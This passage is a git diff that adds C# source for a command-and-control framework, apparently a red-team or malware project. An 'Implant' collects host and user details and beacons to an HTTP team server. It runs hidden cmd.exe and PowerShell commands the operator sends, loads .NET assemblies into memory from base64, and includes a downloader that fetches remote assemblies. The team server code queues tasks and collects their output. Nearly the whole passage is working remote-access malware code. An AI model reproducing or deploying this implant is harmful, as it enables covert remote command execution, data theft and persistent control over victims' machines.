ImplantCommands + { + public override string Name => "AssemQuery"; + + public override string Execute(ImplantTask task) + { + StringBuilder _out = new StringBuilder(); + + _out.AppendLine(LoadFunctions.GetAssems()); + return _out.ToString(); + } + } +} diff --git a/Implant/Tasks/Execute/CMDShell.cs b/Implant/Tasks/Execute/CMDShell.cs new file mode 100644 index 0000000..d7cc81e --- /dev/null +++ b/Implant/Tasks/Execute/CMDShell.cs @@ -0,0 +1,32 @@ + using Implant.Models; +using Implant.Utils; + +namespace Implant.Tasks.Execute +{ + class CMDShell : ImplantCommands + { + private string Command { get; set; } + private string Args { get; set; } + public override string Name => "CMDShell"; + public override string Execute(ImplantTask task) + { + var opts = ImplantOptionUtils.ReturnMethod(task); + Args = task.Args.Replace("\\", ""); + var args = ImplantOptionUtils.ParseArgs(Args); + + foreach (var opt in opts) + { + foreach (var _params in args.Params) + { + if ((_params.OptionName.ToLower() is "command") + && (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) + { + Command = _params.OptionValue; + } + } + } + + var cmd = CMDShellFunctions.CreateInstance(); + return CMDShellFunctions.Execute(cmd, Command).Trim('\n'); + } } +} diff --git a/Implant/Tasks/Execute/Cd.cs b/Implant/Tasks/Execute/Cd.cs new file mode 100644 index 0000000..2bf85cc --- /dev/null +++ b/Implant/Tasks/Execute/Cd.cs @@ -0,0 +1,37 @@ + +using Newtonsoft.Json; + +using Implant.Models; +using Implant.Utils; + +namespace Implant.Tasks.Execute +{ + class Cd : ImplantCommands + { + private string path { get; set; } + + public override string Name => "Cd"; + + public override string Execute(ImplantTask task) + { + // pass args as string and convert to array here. i.e "cd /idk/" <- take [1] and set to path, + // same for basic utils like ls, mkdir, rmdir, pwd, etc. + + var opts = ImplantOptionUtils.ReturnMethod(task); + var args = ImplantOptionUtils.ParseArgs(task.Args); + + foreach (var opt in opts) + { + foreach(var _params in args.Params) + { + if ((_params.OptionName.ToLower() is "path") + && (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())){ + path = _params.OptionValue; + } + } + } + + return path; + } + } +} diff --git a/Implant/Tasks/Execute/ExecuteAssem.cs b/Implant/Tasks/Execute/ExecuteAssem.cs new file mode 100644 index 0000000..4401ed3 --- /dev/null +++ b/Implant/Tasks/Execute/ExecuteAssem.cs @@ -0,0 +1,30 @@ +using Implant.Models; +using Implant.Utils; + +namespace Implant.Tasks.Execute +{ + class ExecuteAssem : ImplantCommands + { + private string assemType { get; set; } + + public override string Name => "ExecuteAssem"; + public override string Execute(ImplantTask task) + { + var opts = ImplantOptionUtils.ReturnMethod(task); + var args = ImplantOptionUtils.ParseArgs(task.Args); + + foreach (var opt in opts) + { + foreach (var _params in args.Params) + { + if ((_params.OptionName.ToLower() is "assemtype") + && (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) + { + assemType = _params.OptionValue; + } + } + } + + return assemType; + } } +} diff --git a/Implant/Tasks/Execute/ExecuteAssemMethod.cs b/Implant/Tasks/Execute/ExecuteAssemMethod.cs new file mode 100644 index 0000000..38588a9 --- /dev/null +++ b/Implant/Tasks/Execute/ExecuteAssemMethod.cs @@ -0,0 +1,36 @@ +using Implant.Models; +using Implant.Utils; + +namespace Implant.Tasks.Execute +{ + class ExecuteAssemMethod : ImplantCommands + { + private string assemType { get; set; } + private string assemMethod { get; set; } + + public override string Name => "ExecuteAssemMethod"; + + public override string Execute(ImplantTask task) + { + var opts = ImplantOptionUtils.ReturnMethod(task); + var args = ImplantOptionUtils.ParseArgs(task.Args); + + foreach (var opt in opts) + { + foreach (var _params in args.Params) + { + if ((_params.OptionName.ToLower() is "assemtype") + && (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) { + assemType = _params.OptionValue; + } + if ((_params.OptionName.ToLower() is "assemmethod") + && (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) { + assemMethod = _params.OptionValue; + } + } + } + + return assemType; + } + } +} diff --git a/Implant/Tasks/Execute/Functions/CMDShellFunctions.cs b/Implant/Tasks/Execute/Functions/CMDShellFunctions.cs new file mode 100644 index 0000000..ffdcc49 --- /dev/null +++ b/Implant/Tasks/Execute/Functions/CMDShellFunctions.cs @@ -0,0 +1,39 @@ +using System; +using System.Diagnostics; +using System.Text; + +namespace Implant.Tasks.Execute +{ + class CMDShellFunctions + { + public static Process CreateInstance() + { + Process CmdProc = new Process(); + CmdProc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; + CmdProc.StartInfo.FileName = "cmd.exe"; + CmdProc.StartInfo.UseShellExecute = false; + CmdProc.StartInfo.RedirectStandardOutput = true; + CmdProc.StartInfo.RedirectStandardError = true; + CmdProc.StartInfo.RedirectStandardInput = true; + CmdProc.StartInfo.CreateNoWindow = true; + return CmdProc; + } + + + // send cmd to execute to obj generated from CreateInstance + public static String Execute(Process proc, string cmd) + { + proc.StartInfo.Arguments = $"/C {cmd}"; + StringBuilder _out = new StringBuilder(); + + proc.Start(); + _out.AppendLine(proc.StandardOutput.ReadToEnd()); + _out.AppendLine(proc.StandardError.ReadToEnd()); + proc.WaitForExit(); + proc.Dispose(); + + return _out.ToString().Trim('\n'); + } + + } +} diff --git a/Implant/Tasks/Execute/Functions/LoadFunctions.cs b/Implant/Tasks/Execute/Functions/LoadFunctions.cs new file mode 100644 index 0000000..b59b457 --- /dev/null +++ b/Implant/Tasks/Execute/Functions/LoadFunctions.cs @@ -0,0 +1,134 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Reflection; +using System.Text; +using System.Threading; +using static System.Console; + +namespace Implant.Tasks.Execute +{ + class LoadFunctions + { + + public static bool Debug { get; set; } = false; + + // would be cool if these could be called from a yaml or something + + // load assems into running process for expansion of implant capability + // create task to list loaded assems(see utils ) and their methods for operator viewing and allow operator to pass assem + method into + // task to execute given method from assem + + + public static string ExecuteAssemMethod(Assembly assem, string assemType, string assemMethod){ + var _out = assem.GetType(assemType).GetMethod(assemMethod).Invoke(null, null); + return _out.ToString(); + } + + public static Assembly LoadAssem(string assemPath) { + var assem = Assembly.LoadFrom(assemPath); + return assem; + } + + public static Assembly LoadAssem(byte[] assemBytes) { + var assem = Assembly.Load(assemBytes); + return assem; + } + + public static void LoadAssemAndExecute(string assemPath) + { + var assem = LoadAssem(assemPath); + object[] paramz = new String[] { null }; + assem.EntryPoint.Invoke(null, paramz); + } + + // load an assem into current appdomain + public static string BaseLoaderLocal(string assemPath){ + StringBuilder _out = new StringBuilder(); + var assem = LoadAssem(assemPath); + + _out.Append(ExecuteAssemMethod(assem, "", "")); + + if (Debug) { WriteLine($"[+] Successfully loaded assem located at {assemPath}"); } + + return _out.ToString(); + } + + // attempt to load assem into mem and retry if fails + public static byte[] SmraaterLoader(string assemPath, int retry_count, int timeout) + { + + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + WebClient client = new WebClient(); + byte[] assembytes = null; + int current_retry_count = retry_count; + + while (current_retry_count >= 0 && assembytes == null) + { + try + { + assembytes = client.DownloadData(assemPath); + if (Debug) { WriteLine($"[+] Fetched assem located at {assemPath}"); } + } + catch (WebException) + { + if (current_retry_count == 0) { throw new ArgumentException($"[-] Failed to fetch {assemPath} after {current_retry_count} attempts. Exiting..."); } + + if (Debug) { WriteLine($"[-] Fetching {assemPath} failed. Retrying in {timeout} seconds."); } + current_retry_count = current_retry_count - 1; + Thread.Sleep(timeout * 1000); + } + } + + return assembytes; + + /* + var assem = Assembly.Load(assembytes); + object[] paramz = new String[] { null }; + assem.EntryPoint.Invoke(null, paramz); + */ + + if (Debug) { WriteLine($"[+] Successfully loaded assem located at {assemPath}"); } + } + + + // these are tasks, move them over when working on load task + public static string returnAssemMethods(string assemName) + { + StringBuilder _out = new StringBuilder(); + var domain = AppDomain.CurrentDomain; + + _out.AppendLine($"[*] Current AppDomain: {domain}"); + _out.AppendLine($"[*] assemName: {assemName}"); + + var strLenth = _out.Length; + + foreach (Assembly assem in domain.GetAssemblies()) + { + if (assemName == assem.FullName.ToString().Split(',')[0]) + { + foreach (var _class in assem.GetTypes()) + { + _out.AppendLine($"\t {_class}"); + foreach (var method in _class.GetMethods(BindingFlags.Public | BindingFlags.Static)) { _out.AppendLine($"\t\t {method}"); } + } + } + } + + if(_out.Length > strLenth) { _out.AppendLine($"[-] Assem object {assemName} could not be found in appdomain {domain}"); } + + return _out.ToString(); + } + + public static string GetAssems() { + StringBuilder _out = new StringBuilder(); + var domain = AppDomain.CurrentDomain; + _out.AppendLine($"[*] Current AppDomain:\t{domain.FriendlyName}"); + _out.AppendLine($"[*] Loaded modules:"); + foreach (Assembly assem in domain.GetAssemblies()) { _out.AppendLine($"{assem.FullName}"); } + return _out.ToString(); + } + + } +} \ No newline at end of file diff --git a/Implant/Tasks/Execute/Functions/PSShellFunctions.cs b/Implant/Tasks/Execute/Functions/PSShellFunctions.cs new file mode 100644 index 0000000..d8e1eb4 --- /dev/null +++ b/Implant/Tasks/Execute/Functions/PSShellFunctions.cs @@ -0,0 +1,54 @@ +using System; +using System.Collections.ObjectModel; +using System.Linq; +using System.Management.Automation; +using System.Text; + +namespace Implant.Tasks.Execute +{ + class PSShellFunctions + { + public static bool Encoded { get; set; } + public static StringBuilder _out = new StringBuilder(); + + // drop into PS session + // create a PS instance and return as obj + public static PowerShell CreateInstance() + { + PowerShell ps = PowerShell.Create(); + return ps; + } + + // send cmd to execute to obj created from CreateInstance, pass result to WriteOutput + public static string Execute(PowerShell ps, string cmd) + { + PowerShell PSCmd = ps.AddScript(cmd); + + Collection _out = null; + try + { + _out = PSCmd.Invoke(); + } + catch (Exception e) { return $"Error occured: {e.Message}"; } + + StringBuilder out_stream = new StringBuilder(); + + foreach (PSObject obj in _out) + { + if (obj.ToString().Contains(';')) { out_stream.AppendLine(obj.ToString().Replace(';', '\n')); } + else { out_stream.AppendLine(obj.ToString()); } + } + + return out_stream.ToString().Trim('\n'); + } + + + public static string ReturnEncodedCmd(PowerShell ps, string cmd){ + // send cmd to execute to obj created from CreateInstance using encoded flag, pass result to WriteOutput + return ""; + } + + + + } +} diff --git a/Implant/Tasks/Execute/Load.cs b/Implant/Tasks/Execute/Load.cs new file mode 100644 index 0000000..7188f32 --- /dev/null +++ b/Implant/Tasks/Execute/Load.cs @@ -0,0 +1,22 @@ +using System; + +using Implant.Models; +using Implant.Utils; + +namespace Implant.Tasks.Execute +{ + class Load : ImplantCommands + { + private byte[] assemBytes { get; set; } + + public override string Name => "Load"; + public override string Execute(ImplantTask task) + { + + assemBytes = Convert.FromBase64String(task.File); + + var assem = LoadFunctions.LoadAssem(assemBytes); + + return $"{assem.GetName().Name} loaded into implant process"; + } } +} diff --git a/Implant/Tasks/Execute/PSShell.cs b/Implant/Tasks/Execute/PSShell.cs new file mode 100644 index 0000000..8359a4d --- /dev/null +++ b/Implant/Tasks/Execute/PSShell.cs @@ -0,0 +1,33 @@ +using Implant.Models; +using Implant.Utils; + +namespace Implant.Tasks.Execute +{ + class PSShell : ImplantCommands + { + private string Command { get; set; } + private string Args { get; set; } + + public override string Name => "PSShell"; + public override string Execute(ImplantTask task) + { + var opts = ImplantOptionUtils.ReturnMethod(task); + Args = task.Args.Replace("\\", ""); + var args = ImplantOptionUtils.ParseArgs(Args); + + foreach (var opt in opts) + { + foreach (var _params in args.Params) + { + if ((_params.OptionName.ToLower() is "command") + && (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) + { + Command = _params.OptionValue; + } + } + } + + var ps = PSShellFunctions.CreateInstance(); + return PSShellFunctions.Execute(ps, Command).Trim('\n'); + } } +} diff --git a/Implant/Tasks/Options/AssemMethodQuery.cs b/Implant/Tasks/Options/AssemMethodQuery.cs new file mode 100644 index 0000000..1f36ae3 --- /dev/null +++ b/Implant/Tasks/Options/AssemMethodQuery.cs @@ -0,0 +1,15 @@ +using Implant.Models; +using System; +using System.Collections.Generic; + +using static Implant.Models.ImplantTaskOptions; + +namespace Implant.Tasks.Options +{ + class AssemMethodQuery : ImplantOptions + { + public override string TaskName => "AssemMethodQuery"; + + public override List Data => new List { assemType, assemMethod}; + } +} diff --git a/Implant/Tasks/Options/AssemQuery.cs b/Implant/Tasks/Options/AssemQuery.cs new file mode 100644 index 0000000..f21aed1 --- /dev/null +++ b/Implant/Tasks/Options/AssemQuery.cs @@ -0,0 +1,15 @@ +using Implant.Models; +using System; +using System.Collections.Generic; + +using static Implant.Models.ImplantTaskOptions; + +namespace Implant.Tasks.Options +{ + class AssemQuery : ImplantOptions + { + public override string TaskName => "AssemQuery"; + + public override List Data => new List { assemType }; + } +} diff --git a/Implant/Tasks/Options/CMDShell.cs b/Implant/Tasks/Options/CMDShell.cs new file mode 100644 index 0000000..8da1686 --- /dev/null +++ b/Implant/Tasks/Options/CMDShell.cs @@ -0,0 +1,15 @@ +using System.Collections.Generic; + +using Implant.Models; + +using static Implant.Models.ImplantTaskOptions; + +namespace Implant.Tasks.Options +{ + class CMDShell : ImplantOptions + { + public override string TaskName => "CMDShell"; + + public override List Data => new List { command }; + } +} diff --git a/Implant/Tasks/Options/Cd.cs b/Implant/Tasks/Options/Cd.cs new file mode 100644 index 0000000..528f537 --- /dev/null +++ b/Implant/Tasks/Options/Cd.cs @@ -0,0 +1,14 @@ +using System.Collections.Generic; + +using Implant.Models; + +using static Implant.Models.ImplantTaskOptions; + +namespace Implant.Tasks.Options +{ + class Cd : ImplantOptions + { + public override string TaskName => "Cd"; + public override List Data => new List { path }; + } +} diff --git a/Implant/Tasks/Options/ExecuteAssem.cs b/Implant/Tasks/Options/ExecuteAssem.cs new file mode 100644 index 0000000..cb26370 --- /dev/null +++ b/Implant/Tasks/Options/ExecuteAssem.cs @@ -0,0 +1,13 @@ +using Implant.Models; +using System; +using System.Collections.Generic; + +using static Implant.Models.ImplantTaskOptions; + +namespace Implant.Tasks.Options +{ + class ExecuteAssem : ImplantOptions + { + public override string TaskName => "ExecuteAssem"; + public override List Data => new List { assemType }; } +} diff --git a/Implant/Tasks/Options/ExecuteAssemMethod.cs b/Implant/Tasks/Options/ExecuteAssemMethod.cs new file mode 100644 index 0000000..1060351 --- /dev/null +++ b/Implant/Tasks/Options/ExecuteAssemMethod.cs @@ -0,0 +1,12 @@ +using Implant.Models; +using System; +using System.Collections.Generic; + +using static Implant.Models.ImplantTaskOptions; + +namespace Implant.Tasks.Options +{ + class ExecuteAssemMethod : ImplantOptions + { + public override string TaskName => "ExecuteAssemMethod"; public override List Data => new List { assemType, assemMethod }; } +} diff --git a/Implant/Tasks/Options/Load.cs b/Implant/Tasks/Options/Load.cs new file mode 100644 index 0000000..3c4acad --- /dev/null +++ b/Implant/Tasks/Options/Load.cs @@ -0,0 +1,15 @@ +using Implant.Models; +using System; +using System.Collections.Generic; + +using static Implant.Models.ImplantTaskOptions; + +namespace Implant.Tasks.Options +{ + class Load : ImplantOptions + { + public override string TaskName => "Load"; + + public override List Data => new List { assemPath }; + } +} diff --git a/Implant/Tasks/Options/PSShell.cs b/Implant/Tasks/Options/PSShell.cs new file mode 100644 index 0000000..91adcf8 --- /dev/null +++ b/Implant/Tasks/Options/PSShell.cs @@ -0,0 +1,15 @@ +using System.Collections.Generic; + +using Implant.Models; + +using static Implant.Models.ImplantTaskOptions; + +namespace Implant.Tasks.Options +{ + class PSShell : ImplantOptions + { + public override string TaskName => "PSShell"; + + public override List Data => new List { command }; + } +} \ No newline at end of file diff --git a/Implant/TestExe.cs b/Implant/TestExe.cs new file mode 100644 index 0000000..3d8ba1e --- /dev/null +++ b/Implant/TestExe.cs @@ -0,0 +1,87 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Reflection; +using System.Threading; + +using Implant.Models; +using Implant.Utils; + +namespace Implant +{ + class Program + { + private static ImplantData _implantData; + private static Comms _comms; + private static CancellationTokenSource _cancelToken; + + private static List _commands = new List(); + + //put into utils + public static void GenImplantData(){ + var proc = Process.GetCurrentProcess(); + + _implantData = new ImplantData { + // get DNS hostname + ID = ImplantDataUtils.GenImplantName(), HostName = Environment.MachineName, + User = Environment.UserName, Integrity = ImplantDataUtils.ReturnIntegrity(), + Arch = ImplantDataUtils.ReturnArch(), + ProcID = proc.Id, ProcName = proc.ProcessName, + IPAddr = ImplantDataUtils.GetHostIP() + }; + + proc.Dispose(); + } + + public static void SendTaskOut(string _id, string _out) { + var taskOut = new ImplantTaskOut { Id = _id, TaskOut = _out }; + _comms.DataSend(taskOut); + } + + public static void HandleTask(ImplantTask task) { + var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase)); + if (command is null) { return; } + + var _out = command.Execute(task); + SendTaskOut(task.Id, _out); + } + + public static void HandleTasks(IEnumerable tasks) { + foreach (var task in tasks) { HandleTask(task); } + } + + public static void ImplantCommandsInit() + { + foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) + { + if (type.IsSubclassOf(typeof(ImplantCommands))) + { + ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands; + _commands.Add(cmd); + } + } + } + + public void Stop() { _cancelToken.Cancel(); } + + static void Main(string[] args) { + + Thread.Sleep(10000); + + GenImplantData(); + ImplantCommandsInit(); + + _comms = new HTTPComms("localhost", 8080); + _comms.ImplantInit(_implantData); + _comms.Start(); + + _cancelToken = new CancellationTokenSource(); + + while (!_cancelToken.IsCancellationRequested) { + if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); } + } + } + + } +} diff --git a/Implant/Utils/Extensions/Extensions.cs b/Implant/Utils/Extensions/Extensions.cs new file mode 100644 index 0000000..111d66c --- /dev/null +++ b/Implant/Utils/Extensions/Extensions.cs @@ -0,0 +1,24 @@ +using System.IO; +using System.Runtime.Serialization.Json; + +namespace Implant.Utils +{ + public static class Extensions + { + public static byte[] Serialize(this T data) + { + var serializer = new DataContractJsonSerializer(typeof(T)); + + using(var stream = new MemoryStream()){ + serializer.WriteObject(stream, data); + return stream.ToArray(); + } + } + + public static T Deserialize(this byte[] data){ + var serializer = new DataContractJsonSerializer(typeof(T)); + + using (var stream = new MemoryStream(data)) { return (T) serializer.ReadObject(stream); } + } + } +} diff --git a/Implant/Utils/ImplantDataUtils.cs b/Implant/Utils/ImplantDataUtils.cs new file mode 100644 index 0000000..f36ac86 --- /dev/null +++ b/Implant/Utils/ImplantDataUtils.cs @@ -0,0 +1,44 @@ +using System; +using System.Linq; +using System.Net; +using System.Net.Sockets; +using System.Security.Principal; + +namespace Implant.Utils +{ + public class ImplantDataUtils + { + public static string ReturnArch() { + var arch = IntPtr.Size == 8 ? "x64" : "x86"; + return arch; + } + + public static string ReturnIntegrity() { + + var id = WindowsIdentity.GetCurrent(); + var principal = new WindowsPrincipal(id); + var integrity = "Medium"; + + if (id.IsSystem) { integrity = "SYSTEM"; } + else if (principal.IsInRole(WindowsBuiltInRole.Administrator)) { integrity = "High"; } + + id.Dispose(); + return integrity; + } + + public static Random random = new Random(); + const string chars = "abcdefghijklmnopqrstuvwxyz0123456789"; + + public static string GenImplantName() { return new string(Enumerable.Repeat(chars, 8).Select(s => s[random.Next(s.Length)]).ToArray()); } + + public static string GetHostIP() + { + using (Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, 0)) + { + socket.Connect("8.8.8.8", 65530); + IPEndPoint endPoint = socket.LocalEndPoint as IPEndPoint; + return (endPoint.Address.ToString()); + } + } + } +} diff --git a/Implant/Utils/ImplantOptionUtils.cs b/Implant/Utils/ImplantOptionUtils.cs new file mode 100644 index 0000000..abb4fed --- /dev/null +++ b/Implant/Utils/ImplantOptionUtils.cs @@ -0,0 +1,49 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; + +using Implant.Models; +using Newtonsoft.Json; +using static Implant.JSON.Classes; +using static Implant.Models.ImplantTaskData; + +namespace Implant.Utils +{ + public class ImplantOptionUtils + { + + public static void OptsInit() + { + foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) + { + if (type.IsSubclassOf(typeof(ImplantOptions))) + { + ImplantOptions function = Activator.CreateInstance(type) as ImplantOptions; + _opts.Add(function); + } + } + } + + public static List ReturnMethod(ImplantTask task) + { + if (_opts.Count == 0) { OptsInit(); } + + ImplantOptions opt = _opts.FirstOrDefault(u => u.TaskName.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase)); + + return opt.Data; + } + + public static ArgsRecv ParseArgs(string jsonData){ + return JsonConvert.DeserializeObject(jsonData); + } + + /* + public static ArgsRecv ParseArgs(byte[] jsonData) + { + return JsonConvert.DeserializeObject(jsonData); + } + */ + + } +} diff --git a/Implant/Utils/ImplantTaskUtils.cs b/Implant/Utils/ImplantTaskUtils.cs new file mode 100644 index 0000000..a24da3c --- /dev/null +++ b/Implant/Utils/ImplantTaskUtils.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Implant.Utils +{ + public static class ImplantTaskUtils + { + + public static object GetPropertyValue(this object T, string PropName) + { + return T.GetType().GetProperty(PropName) == null ? null : T.GetType().GetProperty(PropName).GetValue(T); + } + + public static void SetPropertyValue(this object T, string PropName, string PropVal) + { + T.GetType().GetProperty(PropName).SetValue(T, PropVal); + } + } +} diff --git a/Implant/packages.config b/Implant/packages.config new file mode 100644 index 0000000..093dcd2 --- /dev/null +++ b/Implant/packages.config @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/TeamServer/Controllers/Implants/ImplantsController.cs b/TeamServer/Controllers/Implants/ImplantsController.cs new file mode 100644 index 0000000..45bdc7d --- /dev/null +++ b/TeamServer/Controllers/Implants/ImplantsController.cs @@ -0,0 +1,73 @@ +using System; + +using Microsoft.AspNetCore.Mvc; + +using APIModels.Requests; + +using TeamServer.Services; +using TeamServer.Models; + +namespace TeamServer.Controllers.Implants +{ + [ApiController] + [Route("[controller]")] + public class ImplantsController : ControllerBase + { + private readonly IImplantService _implants; + + public ImplantsController(IImplantService implants) { _implants = implants; } + + [HttpGet] + public IActionResult GetImplants(){ + var implants = _implants.GetImplants(); + return Ok(implants); + } + + [HttpGet("{implantId}")] + public IActionResult GetImplant(string implantId) + { + var implant = _implants.GetImplant(implantId); + if (implant is null) { return NotFound($"{implantId} not found"); } + + return Ok(implant); + } + + [HttpGet("{implantId}/tasks")] + public IActionResult ReturnTasks(string implantId) + { + var implant = _implants.GetImplant(implantId); + if (implant is null) { return NotFound($"{implantId} not found"); } + + var taskOuts = implant.GetTaskOut(); + return Ok(taskOuts); + } + + [HttpGet("{implantId}/tasks/{taskId}")] + public IActionResult ReturnTask(string implantId, string taskId) + { + var implant = _implants.GetImplant(implantId); + if (implant is null) { return NotFound($"{implantId} not found"); } + + var taskOut = implant.ReturnTaskOut(taskId); + if(taskOut is null) { return NotFound($"{taskId} not found"); } + + return Ok(taskOut); + } + + [HttpPost("{implantId}")] + public IActionResult TaskImplant(string implantId, [FromBody] ImplantTaskRequest req) + { + var implant = _implants.GetImplant(implantId); + if(implant is null) { return NotFound($"{implantId} not found"); } + + var task = new ImplantTask() { Id = Guid.NewGuid().ToString() , Command = req.Command , Args = req.Args, File = req.File}; + implant.TaskQueue(task); + + var root = $"{HttpContext.Request.Scheme}://{HttpContext.Request.Host}{HttpContext.Request.Path}"; + var path = $"{root}/tasks/{task.Id}"; + + return Created(path, task); + } + + } +} diff --git a/TeamServer/Controllers/Listeners/HTTPListenerController.cs b/TeamServer/Controllers/Listeners/HTTPListenerController.cs new file mode 100644 index 0000000..178dde2 --- /dev/null +++ b/TeamServer/Controllers/Listeners/HTTPListenerController.cs @@ -0,0 +1,62 @@ +using Microsoft.AspNetCore.Http; +using Microsoft.AspNetCore.Mvc; + +using Newtonsoft.Json; + +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Threading.Tasks; +using TeamServer.Models; +using TeamServer.Services; + +namespace TeamServer.Controllers +{ + [Controller] + public class HTTPListenerController : ControllerBase + { + private readonly IImplantService _implants; + + public HTTPListenerController(IImplantService implants) { _implants = implants; } + + public async Task HandleImplant(){ + var implantData = DataExtract(HttpContext.Request.Headers); + if(implantData is null) { return NotFound(); } + + var implant = _implants.GetImplant(implantData.ID); + + if (implant is null){ + implant = new Implant(implantData); + _implants.AddImplant(implant); + } + + implant.PollImplant(); + + //System.Threading.Thread.Sleep(6000); + + if(HttpContext.Request.Method == "POST") { + string respBody; + + using (var stream = new StreamReader(HttpContext.Request.Body)) { + respBody = await stream.ReadToEndAsync(); + } + + var _out = JsonConvert.DeserializeObject>(respBody); + implant.AddTaskOut(_out); + } + + var tasks = implant.GetPendingTasks(); + return Ok(tasks); + } + + public ImplantData DataExtract(IHeaderDictionary headers){ + if (!headers.TryGetValue("Authorization", out var encData)) { return null; } + + encData = encData.ToString().Remove(0, 7); + + var jsonData = Encoding.UTF8.GetString(Convert.FromBase64String(encData)); + return JsonConvert.DeserializeObject(jsonData); + } + } +} diff --git a/TeamServer/Controllers/Listeners/ListenersController.cs b/TeamServer/Controllers/Listeners/ListenersController.cs new file mode 100644 index 0000000..aa3fccd --- /dev/null +++ b/TeamServer/Controllers/Listeners/ListenersController.cs @@ -0,0 +1,65 @@ +using Microsoft.AspNetCore.Mvc; + +using APIModels.Requests; + +using TeamServer.Services; +using TeamServer.Models; + +namespace TeamServer.Controllers +{ + [ApiController] + [Route("[controller]")] + public class ListenersController : ControllerBase + { + private readonly IListenerService _listeners; + private readonly IImplantService _implantSvc; + + public ListenersController(IListenerService listeners, IImplantService implantsvc){ + _listeners = listeners; + _implantSvc = implantsvc; + } + + [HttpGet] + public IActionResult GetListeners(){ + var listeners = _listeners.GetListeners(); + return Ok(listeners); + } + + [HttpGet("{name}")] + public IActionResult GetListener(string name) { + var listener = _listeners.GetListener(name); + + if (listener is null) { return NotFound($"listener {name} not found"); } + + return Ok(listener); + } + + [HttpPost] + public IActionResult StartListener([FromBody] StartHTTPListenerRequest request) { + var listener = new HTTPListener(request.Name, request.BindPort); + + _listeners.AddListener(listener); + + listener.Init(_implantSvc); + listener.Start(); + + var root = $"{HttpContext.Request.Scheme}://{HttpContext.Request.Host}{HttpContext.Request.Path}"; + var path = $"{root}/{listener}"; + + return Created(path, listener); + } + + [HttpDelete] + public IActionResult PurgeListener(string name) + { + var listener = _listeners.GetListener(name); + if(listener is null) { return NotFound($"{listener} not found"); } + + listener.Stop(); + + _listeners.PurgeListener(listener); + + return Ok($"{listener.Name} stopped"); + } + } +} diff --git a/TeamServer/JSON/Classes.cs b/TeamServer/JSON/Classes.cs new file mode 100644 index 0000000..293740e --- /dev/null +++ b/TeamServer/JSON/Classes.cs @@ -0,0 +1,18 @@ +using System.Collections.Generic; + +namespace TeamServer.JSON +{ + public class Classes + { + public class TaskArgs + { + public string OptionName { get; set; } + public string OptionValue { get; set; } + } + + public class ArgsRecv + { + public List Params { get; set; } + } + } +} diff --git a/TeamServer/Models/Implants/Implant.cs b/TeamServer/Models/Implants/Implant.cs new file mode 100644 index 0000000..db5b422 --- /dev/null +++ b/TeamServer/Models/Implants/Implant.cs @@ -0,0 +1,39 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Linq; + +namespace TeamServer.Models +{ + public class Implant + { + public ImplantData Data { get; private set; } + public DateTime LastSeen { get; private set; } + private readonly ConcurrentQueue _pendingTasks = new(); + private readonly List _taskOut = new(); + + + public Implant(ImplantData data){ + Data = data; + } + + public void PollImplant(){ LastSeen = DateTime.UtcNow; } + + public void TaskQueue(ImplantTask task) { _pendingTasks.Enqueue(task); } + + public IEnumerable GetPendingTasks(){ + List tasks = new(); + + while (_pendingTasks.TryDequeue(out var task)){ tasks.Add(task); } + + return tasks; + } + + public ImplantTaskOut ReturnTaskOut(string taskId){ return GetTaskOut().FirstOrDefault(task_out => task_out.Id.Equals(taskId)); } + + public IEnumerable GetTaskOut() { return _taskOut; } + + public void AddTaskOut(IEnumerable _out) { _taskOut.AddRange(_out); } + + } +} diff --git a/TeamServer/Models/Implants/ImplantData.cs b/TeamServer/Models/Implants/ImplantData.cs new file mode 100644 index 0000000..4947946 --- /dev/null +++ b/TeamServer/Models/Implants/ImplantData.cs @@ -0,0 +1,14 @@ +namespace TeamServer.Models +{ + public class ImplantData + { + public string ID { get; set; } + public string HostName { get; set; } + public string User { get; set; } + public string ProcName { get; set; } + public int ProcID { get; set; } + public string Integrity { get; set; } + public string Arch { get; set; } + public string IPAddr { get; set; } + } +} diff --git a/TeamServer/Models/Implants/ImplantTask.cs b/TeamServer/Models/Implants/ImplantTask.cs new file mode 100644 index 0000000..748f48c --- /dev/null +++ b/TeamServer/Models/Implants/ImplantTask.cs @@ -0,0 +1,10 @@ +namespace TeamServer.Models +{ + public class ImplantTask + { + public string Id { get; set; } + public string Command { get; set; } + public string Args { get; set; } + public string File { get; set; } + } +} diff --git a/TeamServer/Models/Implants/ImplantTaskOut.cs b/TeamServer/Models/Implants/ImplantTaskOut.cs new file mode 100644 index 0000000..912423e --- /dev/null +++ b/TeamServer/Models/Implants/ImplantTaskOut.cs @@ -0,0 +1,8 @@ +namespace TeamServer.Models +{ + public class ImplantTaskOut + { + public string Id { get; set; } + public string TaskOut { get; set; } + } +} diff --git a/TeamServer/Models/Listeners/HTTPListener.cs b/TeamServer/Models/Listeners/HTTPListener.cs new file mode 100644 index 0000000..217d160 --- /dev/null +++ b/TeamServer/Models/Listeners/HTTPListener.cs @@ -0,0 +1,53 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Hosting; + +using System.Threading; +using System.Threading.Tasks; + +namespace TeamServer.Models +{ + public class HTTPListener : Listener + { + public override string Name { get; } 